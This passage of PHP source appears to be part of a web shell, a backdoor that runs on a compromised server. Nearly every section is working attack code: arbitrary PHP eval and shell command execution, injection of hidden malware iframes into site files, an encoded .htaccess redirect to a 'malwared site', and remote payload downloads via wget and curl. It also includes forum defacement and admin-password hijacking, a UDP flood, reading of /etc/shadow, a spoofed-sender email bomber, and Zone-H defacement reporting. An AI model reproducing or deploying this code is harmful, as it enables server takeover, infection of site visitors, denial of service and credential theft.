2284 {
2285 if(isset($_POST['to']) && isset($_POST['subject']) && isset($_POST['message']) && isset($_POST['times']) && $_POST['to'] != '' && $_POST['subject'] != '' && $_POST['message'] != '' && $_POST['times'] != '')
2286 {
2287 $times = $_POST['times'];
2288 while($times--)
2289 {
2290 if(isset($_POST['padding']))
2291 {
2292 $fromPadd = rand(0,9999);
2293 $subjectPadd = " -- ID : ".rand(0,9999999);
2294 $messagePadd = "\n\n------------------------------\n".rand(0,99999999);
2295
2296 }
2297 $from = "president$fromPadd@whitehouse.gov";
2298 if(!mail($_POST['to'],$_POST['subject'].$subjectPadd,$_POST['message'].$messagePadd,"From:".$from))
2299 {
2300 $error = 1;
2301 echo "<center><font size=3><blink><blink>Some Error Occured!</blink></font></center>";
2302 break;
2303 }
2304 }
2305 if($error != 1)
2306 echo "<center><font class=txt size=3><blink>Mail(s) Sent!</blink></font></center>";
2307 }
2308 }
2309 else if($_POST['mailfunction'] == "massmailing")
2310 {
2311 if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['message']))
2312 {
2313 if(mail($_POST['to'],$_POST['subject'],$_POST['message'],"From:".$_POST['from']))
2314 echo "<center><font class=txt size=3><blink>Mail Sent!</blink></font></center>";
2315 else
2316 echo "<center><font size=3><blink>Some Error Occured!</blink></font></center>";
2317 }
2318 }
2319}
2320else if(isset($_POST['code']))
2321{
2322 if($_POST['code'] != null && isset($_POST['intext']) && $_POST['intext'] == "true")
2323 {
2324 // FIlter Some Chars we dont need
2325 ?><br>
2326 <textarea name="code" class="box" cols="120" rows="10"><?php
2327 $code = str_replace("<?php","",$_POST['code']);
2328 $code = str_replace("<?","",$code);
2329 $code = str_replace("?>","",$code);
2330
2331 // Evaluate PHP CoDE!
2332 htmlspecialchars(eval($code));
2333 ?>
2334 </textarea><?php
2335 }
2336 else if($_POST['code'] != null && $_POST['intext'] == "false")
2337 {
2338 $code = str_replace("<?php","",$_POST['code']);
2339 $code = str_replace("<?","",$code);
2340 $code = str_replace("?>","",$code);
2341
2342 // Evaluate PHP CoDE!
2343 ?><br><font size="4">Result of execution this PHP-code :</font><br><font class=txt><?php htmlspecialchars(eval($code)); ?></font><?php
2344 }
2345}
2346else if(isset($_GET['infect']))
2347{
2348 $coun = 0;
2349 $str = "<iframe width=0px height=0px frameborder=no name=frame1 src=".$malsite."> </iframe>";
2350 foreach (glob($_GET['path'] . "*.php") as $injectj00)
2351 {
2352 if($injectj00 == __FILE__)
2353 continue;
2354 if($myfile=fopen($injectj00,'a'))
2355 {
2356 fputs($myfile, $str);
2357 fclose($myfile);
2358 $coun = 1;
2359 }
2360 }
2361 foreach (glob($_GET['path'] . $directorysperator . "*.htm") as $injectj00)
2362 {
2363 if($myfile=fopen($injectj00,'a'))
2364 {
2365 fputs($myfile, $str);
2366 fclose($myfile);
2367 $coun = 1;
2368 }
2369 }
2370 foreach (glob($_GET['path'] . $directorysperator . "*.html") as $injectj00)
2371 {
2372 if($myfile=fopen($injectj00,'a'))
2373 {
2374 fputs($myfile, $str);
2375 fclose($myfile);
2376 $coun = 1;
2377 }
2378 }
2379
2380
2381 if($coun == 1)
2382 echo "<center>Done !!!!<center>";
2383 else
2384 echo "<center>Cannot open files !!!!<center>";
2385}
2386else if(isset($_GET['redirect']))
2387{
2388 if($myfile = fopen(".htaccess",'a'))
2389 {
2390 $mal = "eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw";
2391 fwrite($myfile, gzuncompress(base64_decode($mal)));
2392 fwrite($myfile, "\n\r");
2393 fclose($myfile);
2394 echo "<center>Done !!!!<center>";
2395 }
2396 else
2397 echo "<center>Cannot open file !!!!<center>";
2398}
2399else if(isset($_GET['malware']))
2400{ ?>
2401 <input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
2402 <center><table><tr><td><a href=# onClick="malwarefun('infect')"><font class=txt size="4">| Infect Users |</font></a></td>
2403 <td><a href=javascript:void(0) onClick="malwarefun('redirect')"><font class=txt size="4">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>
2404 <div id="showmal"></div>
2405 <?php
2406}
2407else if(isset($_GET['codeinsert']))
2408{
2409 if($file1 = fopen(".htaccess",'r'))
2410 {
2411 ?><div id="showcode"></div>
2412 <form method=post>
2413 <textarea rows=9 cols=110 name="code" class=box><?php while(!feof($file1)) { echo fgets($file1); } ?></textarea><br>
2414 <input type="button" onClick="codeinsert(code.value)" value=" Insert " class=but>
2415 </form>
2416 <?php }
2417 else
2418 echo "<center>Cannot Open File!!</center>";
2419}
2420else if(isset($_POST['getcode']))
2421{
2422 if($myfile = fopen(".htaccess",'a'))
2423 {
2424 fwrite($myfile, $_POST['getcode']);
2425 fwrite($myfile, "\n\r");
2426 fclose($myfile);
2427 echo "<font class=txt>Code Inserted Successfully!!!!</font>";
2428 }
2429 else
2430 echo "Permission Denied";
2431}
2432else if(isset($_GET['uploadurl']))
2433{
2434 $functiontype = trim($_GET['functiontype']);
2435 $wurl = trim($_GET['wurl']);
2436 $path = magicboom($_GET['path']);
2437
2438 function remotedownload($cmd,$url)
2439 {
2440 $namafile = basename($url);
2441 switch($cmd)
2442 {
2443 case 'wwget':
2444 execmd(which('wget')." ".$url." -O ".$namafile);
2445 break;
2446 case 'wlynx':
2447 execmd(which('lynx')." -source ".$url." > ".$namafile);
2448 break;
2449 case 'wfread' :
2450 execmd($wurl,$namafile);
2451 break;
2452 case 'wfetch' :
2453 execmd(which('fetch')." -o ".$namafile." -p ".$url);
2454 break;
2455 case 'wlinks' :
2456 execmd(which('links')." -source ".$url." > ".$namafile);
2457 break;
2458 case 'wget' :
2459 execmd(which('GET')." ".$url." > ".$namafile);
2460 break;
2461 case 'wcurl' :
2462 execmd(which('curl')." ".$url." -o ".$namafile);
2463 break;
2464 default:
2465 break;
2466 }
2467 return $namafile;
2468 }
2469 $namafile = remotedownload($functiontype,$wurl);
2470 $fullpath = $path . $directorysperator . $namafile;
2471 if(is_file($fullpath))
2472 {
2473 echo "<center><font class=txt>File uploaded to $fullpath</font></center>";
2474 }
2475 else
2476 echo "<center>Failed to upload $namafile</center>";
2477}
2478else if(isset($_GET['createfolder']))
2479{
2480 if(!mkdir($_GET['createfolder']))
2481 echo "Failed To create";
2482 else
2483 echo "<font class=txt>Folder Created Successfully</font>";
2484}
2485else if(isset($_GET['selfkill']))
2486{
2487 if(unlink(__FILE__))
2488 echo "<br><center><font size=5>Good Bye......</font></center>";
2489 else
2490 echo "<br><center><font size=5>Shell cannot be removed......</font></center>";
2491}
2492else if(isset($_GET['Create']))
2493{
2494 ?>
2495 <form method="post">
2496 <input type="hidden" name="filecreator" value="<?php echo $_GET['Create']; ?>">
2497 <textarea name="filecontent" rows="12" cols="100" class="box"></textarea><br />
2498 <input type="button" onClick="createfile(filecreator.value,filecontent.value)" value=" Save " class="but"/>
2499 </form>
2500
2501<?php }
2502else if(isset($_POST['filecreator'])&&isset($_POST['filecontent']))
2503{
2504 $content = $_POST['filecontent'];
2505 if($file_pointer = fopen($_POST['filecreator'], "w+"))
2506 {
2507 fwrite($file_pointer, $content);
2508 fclose($file_pointer);
2509 echo "<font class=txt>File Created Successfully</font>";
2510 }
2511 else
2512 echo "Cannot Create File";
2513}
2514else if(isset($_REQUEST["defaceforum"]))
2515{
2516 ?>
2517 <center><div id="showdeface"></div>
2518 <font color="#FF0000" size="4">Forum Index Changer</font>
2519 <form action="<?php echo $self; ?>" method = "POST">
2520 <input type="hidden" name="forum">
2521 <input type="hidden" name="defaceforum">
2522 <table border = "1" width="60%" style="text-align: center;border-color:#333333;" align="center">
2523 <tr>
2524 <td height="50" width="50%"> <b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost"></td>
2525
2526 <td width="50%"><b> Database :</b> <input type ="text" class="sbox" name = "f2" size="20"></td></tr>
2527 <tr><td height="50" width="50%"><b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> </td>
2528 <td><b> Password :</b> <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
2529
2530 <tr><td height="50" width="50%">Type :
2531 <select class=sbox id="forumdeface" name="forumdeface" onChange="checkforum(this.value)">
2532 <option value="vb">vbulletin</option>
2533 <option value="mybb">Mybb</option>
2534 <option value="smf">SMF</option>
2535 <option value="ipb">IPB</option>
2536 <option value="wp">Wordpress</option>
2537 <option value="joomla">Joomla</option>
2538 </select></td>
2539 <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td></td>
2540
2541 </tr>
2542 <tr>
2543 <td height="167" width="50%" colspan=2>
2544 <div style="display:none;" id="myjoomla"><p><b>Site URL : </b><input class="box" type="text" name="siteurl" width="80" value="http://site.com/administrator/"></p></div>
2545
2546 <div style="display:none;" id="smfipb"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked"> <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">
2547 <label id="wordpres" style="display:none; float:right; margin-right:8%;"><input type="checkbox" name="all" value="All" checked="checked"> All</label></p>
2548 </div>
2549
2550 <p align="center"> <textarea class="box" name="index" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align="center">
2551 <input type="button" onClick="forumdefacefn(index.value,f1.value,f2.value,f3.value,f4.value,forumdeface.value,tableprefix.value,siteurl.value,head.value,all.value,f5.value)" class="but" value = "Hack It">
2552 </td>
2553 </tr>
2554 </table>
2555 </form>
2556 </center>
2557 <?php
2558 }
2559 else if(isset($_GET["passwordchange"]))
2560 {
2561 echo "<center>";
2562 ?>
2563 <div id="showchangepass"></div>
2564 <font color="#FF0000" size="4">Forum Password Changer</font>
2565 <form onSubmit="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uid.value,uname.value,newpass.value);return false;">
2566 <table border = "1" width="60%" height="246" style="text-align: center;border-color:#333333;" align="center">
2567 <tr>
2568 <td height="50" width="50%"> <b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost"></td><td height="50" width="50"> <b> DataBase :</b> <input type ="text" class="sbox" name = "f2" size="20"></td> <tr><td height="50" width="50%"> <b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"></td><td height="50" width="50%"> <b>Password :</b> <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
2569 <tr>
2570 <td height="50" width="50%">Type :
2571 <select class=sbox id="forums" name="forums" onChange="showMsg(this.value)">
2572 <option value="vb">vbulletin</option>
2573 <option value="mybb">Mybb</option>
2574 <option value="smf">SMF</option>
2575 <option value="ipb">IPB</option>
2576 <option value="phpbb">PHPBB</option>
2577 <option value="wp">Wordpress</option>
2578 <option value="joomla">Joomla</option>
2579 </select></td>
2580 <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td>
2581 </tr>
2582 <tr>
2583 <td colspan=2 height="100" width="780">
2584
2585 <p align="center"><div id="fid" style="display:block;"><b>User ID :</b> <input class="sbox" type="text" name="ipbuid" size="20" value="1"> <b>New Password :</b> <input type ="text" class="sbox" name = "newipbpass" size="20" value="hacked"></div>
2586
2587 <div id="joomla" style="display:none;"><b>New Username :</b> <input style="width:170px;" class="box" type="text" name="username" size="20" value="admin"> <b>New Password :</b> <input type ="text" class="sbox" name = "newjoomlapass" size="20" value="hacked"></div>
2588
2589 <div id="wpress" style="display:none;"><p><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1"> <b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><b>New Username :</b> <input style="width:170px;" class="box" type="text" name="uname" size="20" value="admin"></div>
2590
2591 <p><input type = "button" onClick="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uid.value,uname.value,newpass.value)" class="but" value = " Change IT " name="forumpass"></p></td>
2592 </tr>
2593 </table>
2594 </form>
2595 </center>
2596 <?php
2597}
2598else if(isset($_GET['dosser']))
2599{
2600 if(isset($_GET['ip']) && isset($_GET['exTime']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && $_GET['exTime'] != "" &&
2601 $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['timeout'] != "" && $_GET['exTime'] != "" )
2602 {
2603 $IP=$_GET['ip'];
2604 $port=$_GET['port'];
2605 $executionTime = $_GET['exTime'];
2606 $no0fBytes = $_GET['no0fBytes'];
2607 $data = "";
2608 $timeout = $_GET['timeout'];
2609 $packets = 0;
2610 $counter = $no0fBytes;
2611 $maxTime = time() + $executionTime;;
2612 while($counter--)
2613 {
2614 $data .= "X";
2615 }
2616 $data .= " Dhanush";
2617
2618 while(1)
2619 {
2620 $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
2621 if($socket)
2622 {
2623 fwrite($socket , $data);
2624 fclose($socket);
2625 $packets++;
2626 }
2627 if(time() >= $maxTime)
2628 {
2629 break;
2630 }
2631 }
2632 echo "Dos Completed!<br>";
2633 echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
2634 echo "Total Number of Packets Sent : " . $packets . "<br />";
2635 echo "Total Data Sent = ". HumanReadableFilesize($packets*$no0fBytes) . "<br />";
2636 echo "Data per packet = " . HumanReadableFilesize($no0fBytes) . "<br />";
2637 }
2638}
2639else if(isset($_GET['fuzzer']))
2640{
2641 if(isset($_GET['ip']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && isset($_GET['no0fBytes']) && isset($_GET['multiplier']) && $_GET['no0fBytes'] != "" && $_GET['exTime'] != "" && $_GET['timeout'] != "" && $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['multiplier'] != "")
2642 {
2643 $IP=$_GET['ip'];
2644 $port=$_GET['port'];
2645 $times = $_GET['exTime'];
2646 $timeout = $_GET['timeout'];
2647 $send = 0;
2648 $ending = "";
2649 $multiplier = $_GET['multiplier'];
2650 $data = "";
2651 $mode="tcp";
2652 $data .= "GET /";
2653 $ending .= " HTTP/1.1\n\r\n\r\n\r\n\r";
2654 if($_GET['type'] == "tcp")
2655 {
2656 $mode = "tcp";
2657 }
2658
2659 while($multiplier--)
2660 {
2661 $data .= urlencode($_GET['no0fBytes']);
2662 }
2663 $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
2664 $data .= "by-Dhanush".$ending;
2665 $length = strlen($data);
2666
2667
2668 echo "Sending Data :- <br /> <p align='center'>$data</p>";
2669
2670 for($i=0;$i<$times;$i++)
2671 {
2672 $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
2673 if($socket)
2674 {
2675 fwrite($socket , $data , $length );
2676 fclose($socket);
2677 }
2678 }
2679 echo "Fuzzing Completed!<br>";
2680 echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
2681 echo "Total Number of Packets Sent : " . $times . "<br />";
2682 echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";
2683 echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
2684 }
2685}
2686else if(isset($_GET['bypassit']))
2687{
2688 if(isset($_GET['copy']))
2689 {
2690 if(@copy($_GET['copy'],"test1.php"))
2691 {
2692 $fh=fopen("test1.php",'r');
2693 echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars(@fread($fh,filesize("test1.php")))."</textarea></br></br>";
2694 @fclose($fh);
2695 unlink("test1.php");
2696 }
2697 }
2698 else if(isset($_GET['imap']))
2699 {
2700 $string = $_GET['imap'];
2701 echo "<textarea cols=120 rows=20 class=box readonly>";
2702 $stream = imap_open($string, "", "");
2703 $str = imap_body($stream, 1);
2704 echo "</textarea>";
2705 }
2706 else if(isset($_GET['sql']))
2707 {
2708 echo "<textarea cols=120 rows=20 class=box readonly>";
2709 $file=$_GET['sql'];
2710
2711 $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
2712 $mysql_files = explode(':', $mysql_files_str);
2713
2714 $sql = array (
2715 "USE $mdb",
2716 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
2717 "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
2718 . "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
2719 . "ESCAPED BY '' "
2720 . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
2721
2722 "SELECT a FROM $tbl LIMIT 1"
2723 );
2724 mysql_connect ($mhost, $muser, $mpass);
2725
2726 foreach ($sql as $statement) {
2727 $q = mysql_query ($statement);
2728
2729 if ($q == false) die (
2730 "FAILED: " . $statement . "\n" .
2731 "REASON: " . mysql_error () . "\n"
2732 );
2733
2734 if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
2735
2736 echo htmlspecialchars($r[0]);
2737 mysql_free_result ($q);
2738 }
2739 echo "</textarea>";
2740 }
2741 else if(isset($_GET['curl']))
2742 {
2743 $ch=curl_init("file://" . $_GET[curl]);
2744 curl_setopt($ch,CURLOPT_HEADERS,0);
2745 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2746 $file_out=curl_exec($ch);
2747 curl_close($ch);
2748 echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars($file_out)."</textarea></br></br>";
2749 }
2750 else if(isset($_GET['include']))
2751 {
2752 if(file_exists($_GET['include']))
2753 {
2754 echo "<textarea cols=120 rows=20 class=box readonly>";
2755 @include($_GET['include']);
2756 echo "</textarea>";
2757 }
2758 else
2759 echo "<br><center><font size=3>Can't Read" . $_GET['include'] . "</font></center>";
2760 }
2761 else if(isset($_GET['id']))
2762 {
2763 echo "<textarea cols=120 rows=20 class=box readonly>";
2764 for($uid=0;$uid<60000;$uid++)
2765 { //cat /etc/passwd
2766 $ara = posix_getpwuid($uid);
2767 if (!empty($ara))
2768 {
2769 while (list ($key, $val) = each($ara))
2770 {
2771 print "$val:";
2772 }
2773 print "\n";
2774 }
2775 }
2776 echo "</textarea>";
2777 break;
2778 }
2779 else if(isset($_GET['tempnam']))
2780 {
2781 $mytmp = tempnam ( 'tmp', $_GET['tempnam'] );
2782 $fp = fopen ( $mytmp, 'r' );
2783 while(!feof($fp))
2784 echo fgets($fp);
2785 fclose ( $fp );
2786 }
2787 else if(isset($_GET['symlnk']))
2788 {
2789 echo "<textarea cols=120 rows=20 class=box readonly>";
2790 @mkdir("mydhanush",0777);
2791 @chdir("mydhanush");
2792 execmd("ln -s /etc/passwd");
2793
2794 echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/mydhanush/passwd");
2795 echo "</textarea>";
2796 }
2797 if(isset($_GET['newtype']))
2798 {
2799 $filename = $_GET['newtype'];
2800 echo "<textarea cols=120 rows=20 class=box readonly>";
2801 if($_GET['optiontype'] == "xxd")
2802 echo execmd("xxd ".$filename);
2803 else if($_GET['optiontype'] == "rev")
2804 echo execmd("rev ".$filename);
2805 if($_GET['optiontype'] == "tac")
2806 echo execmd("tac ".$filename);
2807 if($_GET['optiontype'] == "more")
2808 echo execmd("more ".$filename);
2809 if($_GET['optiontype'] == "less")
2810 echo execmd("less ".$filename);
2811 echo "</textarea>";
2812 }
2813}
2814// Deface Website
2815else if(isset($_GET['deface']))
2816{
2817 $myfile = fopen($_GET['deface'],'w');
2818 if(fwrite($myfile, base64_decode($ind)))
2819 {fclose($myfile);
2820 echo "Index Defaced Successfully";}
2821 else
2822 echo "Donot have write permission";
2823}
2824else if(isset($_GET['perms']))
2825{
2826?>
2827 <form>
2828 <input type="hidden" name="myfilename" value="<?php echo $_GET['myfilepath']; ?>">
2829 <table align="center" border="1" style="width:40%;border-color:#333333;">
2830 <tr>
2831 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
2832 </tr>
2833 <tr>
2834 <td colspan="2" align="center" style="height:60px">
2835 <input type="button" onClick="changeperms(chmode.value,myfilename.value)" value="Change Permission" class="but" style="padding: 5px;" /></td>
2836 </tr>
2837 </table>
2838
2839 </form>
2840 <?php
2841}
2842else if(isset($_GET["chmode"]))
2843{
2844 if($_GET['chmode'] != null && is_numeric($_GET['chmode']))
2845 {
2846 $perms = 0;
2847 for($i=strlen($_GET['chmode'])-1;$i>=0;--$i)
2848 $perms += (int)$_GET['chmode'][$i]*pow(8, (strlen($_GET['chmode'])-$i-1));
2849 if(@chmod($_GET['myfilename'],$perms))
2850 echo "<center><blink><font class=txt>File Permissions Changed Successfully</font></blink></center>";
2851 else
2852 echo "<center><blink>Cannot Change File Permissions</blink></center>";
2853 }
2854}
2855else if(isset($_GET['rename']))
2856{
2857?>
2858 <form>
2859 <table border="0" cellpadding="3" cellspacing="3">
2860 <tr>
2861 <td>File </td><td><input value="<?php echo $_GET['myfilepath'];?>" name="file" class="box" /></td>
2862 </tr>
2863 <tr>
2864 <td>To </td><td><input value="<?php echo $_GET['myfilepath'];?>" name="to" class="box" /></td>
2865 </tr>
2866 <tr>
2867 <td colspan="2"><input type="button" onClick="renamefun(file.value,to.value)" value="Rename It" class="but" style="margin-left: 160px;padding: 5px;"/></td>
2868 </tr>
2869 </table>
2870 </form>
2871 <?php
2872
2873}
2874else if(isset($_GET['renamemyfile']))
2875{
2876 if(isset($_GET['to']) && isset($_GET['file']))
2877 {
2878 if(!rename($_GET['file'], $_GET['to']))
2879 echo "Cannot Rename File";
2880 else
2881 echo "<font class=txt>File Renamed Successfully</font>";
2882
2883 }
2884}
2885else if(isset($_GET['open']))
2886{
2887 if(is_file($_GET['myfilepath']))
2888 {
2889 $owner = "0/0";
2890 if($os == "Linux")
2891 $owner = getOGid($_GET['myfilepath']);
2892 ?>
2893 <form>
2894 <table style="width:57%;">
2895 <tr align="left">
2896 <td align="left">File : </td><td><font class=txt><?php echo $_GET['myfilepath'];?></font></td><td align="left">Permissions : </td><td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo addslashes($_GET['myfilepath']); ?>')"><?php echo filepermscolor($_GET['myfilepath']);?></a></td>
2897 </tr>
2898 <tr>
2899 <td>Size : </td><td><?php echo HumanReadableFileSize(filesize($_GET['myfilepath']));?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
2900 </tr>
2901 </table>
2902 <textarea name="content" rows="15" cols="100" class="box"><?php
2903 $content = htmlspecialchars(file_get_contents($_GET['myfilepath']));
2904 if($content)
2905 {
2906 echo $content;
2907 }
2908 else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))
2909 {
2910 if(filesize($_GET['myfilepath']) != 0 )
2911 {
2912 fopen($_GET['myfilepath']);
2913 while(!feof())
2914 {
2915 echo htmlspecialchars(fgets($_GET['myfilepath']));
2916 }
2917 }
2918 }
2919
2920 ?>
2921 </textarea><br />
2922 <input name="save" type="button" onClick="savemyfile('<?php echo addslashes($_GET['myfilepath']); ?>',content.value)" value="Save Changes" id="spacing" class="but"/>
2923 </form>
2924 <?php
2925 }
2926 else
2927 echo "File does not exist !!!!";
2928}
2929else if(isset($_POST['file']) && isset($_POST['content']))
2930{
2931 if(file_exists($_POST['file']))
2932 {
2933 $handle = fopen($_POST['file'],"w");
2934 if(fwrite($handle,$_POST['content']))
2935 echo "<font class=txt>File Saved Successfully!</font>";
2936 else
2937 echo "Cannot Write into File";
2938 }
2939 else
2940 {
2941 echo "File Name Specified does not exists!";
2942 }
2943}
2944else if(isset($_POST["SendNowToZoneH"]))
2945{
2946 $hacker = $_POST['defacer'];
2947 $method = $_POST['hackmode'];
2948 $neden = $_POST['reason'];
2949 $site = $_POST['domain'];
2950
2951 if (empty($hacker))
2952 {
2953 die("<center><font size=3>[-] You Must Fill the Attacker name !</font></center>");
2954 }
2955 elseif($method == "--------SELECT--------")
2956 {
2957 die("<center><font size=3>[-] You Must Select The Method !</center>");
2958 }
2959 elseif($neden == "--------SELECT--------")
2960 {
2961 die("<center><font size=3>[-] You Must Select The Reason</center>");
2962 }
2963 elseif(empty($site))
2964 {
2965 die("<center><font size=3>[-] You Must Inter the Sites List !</center>");
2966 }
2967 // Zone-h Poster
2968 function ZoneH($url, $hacker, $hackmode,$reson, $site )
2969 {
2970 $k = curl_init();
2971 curl_setopt($k, CURLOPT_URL, $url);
2972 curl_setopt($k,CURLOPT_POST,true);
2973 curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
2974 curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
2975 curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
2976 $kubra = curl_exec($k);
2977 curl_close($k);
2978 return $kubra;
2979 }
2980
2981 $i = 0;
2982 $sites = explode("\n", $site);
2983 echo "<pre class=ml1 style='margin-top:5px'>";
2984 while($i < count($sites))
2985 {
2986 if(substr($sites[$i], 0, 4) != "http")
2987 {
2988 $sites[$i] = "http://".$sites[$i];
2989 }
2990 ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
2991 echo "<font class=txt size=3>Site : ".$sites[$i]." Posted !</font><br>";
2992 ++$i;
2993 }
2994
2995 echo "<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
2996}
2997else if(isset($_GET['executemycmd']))
2998{
2999 $comm = $_GET['executemycmd'];
3000 chdir($_GET['executepath']);
3001 echo shell_exec($comm);
3002}
3003// View Passwd file
3004else if(isset($_GET['passwd']))
3005{
3006 $test='';
3007 $tempp= tempnam($test, "cx");
3008 $get = "/etc/passwd";
3009 $name=@posix_getpwuid(@fileowner($get));
3010 $group=@posix_getgrgid(@filegroup($get));
3011 $owner = $name['name']. " / ". $group['name'];
3012 ?>
3013 <table style="width:57%;">
3014 <tr>
3015 <td align="left">File : </td><td><font class=txt><?php echo $get; ?></font></td><td align="left">Permissions : </td><td><?php echo filepermscolor($get);?></td>
3016 </tr>
3017 <tr>
3018 <td>Size : </td><td><?php echo filesize($get);?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
3019 </tr>
3020 </table>
3021 <?php
3022 if(copy("compress.zlib://".$get, $tempp))
3023 {
3024 $fopenzo = fopen($tempp, "r");
3025 $freadz = fread($fopenzo, filesize($tempp));
3026 fclose($fopenzo);
3027 $source = htmlspecialchars($freadz);
3028 echo "<tr><td><center><textarea rows='20' cols='80' class=box name='source'>$source</textarea><br>";
3029 unlink($tempp);
3030 }
3031 else
3032 {
3033 ?>
3034 <form>
3035 <input type="hidden" name="etcpasswd">
3036 <table class="tbl" border="1" cellpadding="5" cellspacing="5" align="center" style="width:40%;">
3037 <tr>
3038 <td>From : </td><td><input type="text" name="val1" class="sbox" value="1"></td>
3039 </tr>
3040 <tr>
3041 <td>To : </td><td><input type="text" name="val2" class="sbox" value="1000"></td>
3042 </tr>
3043 <tr>
3044 <td colspan="2" align="center"><input type="submit" value=" Go " class="but"></td>
3045 </tr>
3046 </table><br>
3047 </form>
3048 <?php
3049 }
3050}
3051else if(isset($_GET['shadow']))
3052{
3053 $test='';
3054 $tempp= tempnam($test, "cx");
3055 $get = "/etc/shadow";
3056 if(copy("compress.zlib://".$get, $tempp))
3057 {
3058 $fopenzo = fopen($tempp, "r");
3059 $freadz = fread($fopenzo, filesize($tempp));
3060 fclose($fopenzo);
3061 $source = htmlspecialchars($freadz);
3062 echo "<tr><td><center><font size='3' face='Verdana'>$get</font><br><textarea rows='20' cols='80' class=box name='source'>$source</textarea>";
3063 unlink($tempp);
3064 }
3065}
3066else if(isset($_GET['bomb']))
3067{
3068 ?><div id="showmail"></div>
3069 <form>
3070 <table id="margins" style="width:100%;">
3071 <tr>
3072 <td style="width:30%;">To</td>
3073 <td>
3074 <input class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/>
3075 </td>
3076 </tr>
3077 <tr>
3078 <td style="width:30%;">Subject</td>
3079 <td>
3080 <input type="text" class="box" name="subject" value="Dhanush Here!" onFocus="if(this.value == 'Dhanush Here!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!';" />
3081 </td>
3082 </tr>
3083 <tr>
3084 <td style="width:30%;">No. of Times</td>
3085 <td>
3086 <input class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';"/>
3087 </td>
3088 </tr>
3089 <tr>
3090 <td style="width:30%;">Pad your message (Less spam detection)</td>
3091 <td><input type="checkbox" name="padding"/></td>
3092 </tr>
3093 <tr>
3094 <td colspan="2"><textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!</textarea></td>
3095 </tr>
3096 <tr>
3097 <td rowspan="2">
3098 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('dobombing',to.value,subject.value,message.value,'null',times.value,padding.value)" class="but" value=" Bomb! "/>
3099 </td>
3100 </tr>
3101 </table>
3102 </form>
3103 <?php
3104}
3105
3106//Mass Mailer
3107else if(isset($_GET['mail']))
3108{
3109 ?><div id="showmail"></div>
3110 <div align="left">
3111 <form>
3112 <table align="left" style="width:100%;">
3113 <tr>
